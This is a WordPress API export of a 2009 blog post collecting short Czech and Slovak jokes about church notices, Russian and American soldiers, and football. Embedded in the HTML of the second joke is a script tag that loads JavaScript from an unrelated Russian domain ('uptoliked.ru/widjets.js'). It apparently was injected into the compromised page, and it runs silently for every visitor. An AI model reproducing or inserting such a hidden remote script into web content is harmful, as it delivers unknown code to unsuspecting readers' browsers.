{"id":6622,"date":"2009-11-11T22:30:54","date_gmt":"2009-11-11T21:30:54","guid":{"rendered":"http:\/\/www.scmlondon.org\/?p=6622"},"modified":"2009-11-12T02:44:38","modified_gmt":"2009-11-12T01:44:38","slug":"par-vtipov-do-vasej-zbierky","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=6622","title":{"rendered":"P\u00e1r vtipov do va\u0161ej zbierky"},"content":{"rendered":"<p><span style=\"font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; font-size: 10pt;\">Z ozn\u00e1men\u00ed v kostele:<br \/>\nCelon\u00e1rodn\u00ed shrom\u00e1\u017ed\u011bn\u00ed pro modlitbu a p\u016fst&#8230; Poplatek zahrnuje stravov\u00e1n\u00ed.<\/span><\/p>\n<p style=\"line-height: 14.25pt;\"><span style=\"font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; font-size: 10pt;\">Stretne sa americk\u00fd a rusk\u00fd vojak. Rus vrav\u00ed:\u00a0<br \/>\n&#8211; My v arm\u00e1de m\u00e1me denne stravu obsahuj\u00facu 1000 kal\u00f3ri\u00ed.\u00a0<br \/>\nAmeri\u010dan:\u00a0&#8211; To je ni\u010d. My m\u00e1me denne stravu obsahuj\u00facu 3000 kal\u00f3ri\u00ed.\u00a0<br \/>\nRus:\u00a0&#8211; To nie je mo\u017en\u00e9! Nikto s\u00e1m nezje denne vrece zemiakov!<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/span><\/p>\n<p style=\"line-height: 14.25pt;\"><span style=\"font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; font-size: 10pt;\">K\u00e1z\u00e1n\u00ed dnes: &#8222;Je\u017e\u00ed\u0161 kr\u00e1\u010d\u00ed po vod\u00e1ch.&#8220;<br \/>\nK\u00e1z\u00e1n\u00ed z\u00edtra: &#8222;Jak naj\u00edt Je\u017e\u00ed\u0161e.&#8220;\u00a0<\/span><\/p>\n<p><span style=\"line-height: 115%; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; font-size: 10pt; mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-fareast-language: EN-US; mso-ansi-language: EN-GB; mso-bidi-language: AR-SA;\">Blon\u010f\u00e1k a\u00a0brunet hraj\u00fa futbal. Brunet d\u00e1\u00a0g\u00f3l a\u00a0vrav\u00ed: jedna nula. Potom d\u00e1 g\u00f3l blon\u010f\u00e1k a\u00a0vrav\u00ed: dve nuly.<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Z ozn\u00e1men\u00ed v kostele: Celon\u00e1rodn\u00ed shrom\u00e1\u017ed\u011bn\u00ed pro modlitbu a p\u016fst&#8230; Poplatek zahrnuje stravov\u00e1n\u00ed. Stretne sa americk\u00fd a rusk\u00fd vojak. Rus vrav\u00ed:\u00a0 &#8211; My v arm\u00e1de m\u00e1me denne stravu obsahuj\u00facu 1000&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=6622\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-6622","post","type-post","status-publish","format-standard","hentry","category-6"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/6622","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6622"}],"version-history":[{"count":4,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/6622\/revisions"}],"predecessor-version":[{"id":6627,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/6622\/revisions\/6627"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6622"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=6622"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=6622"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}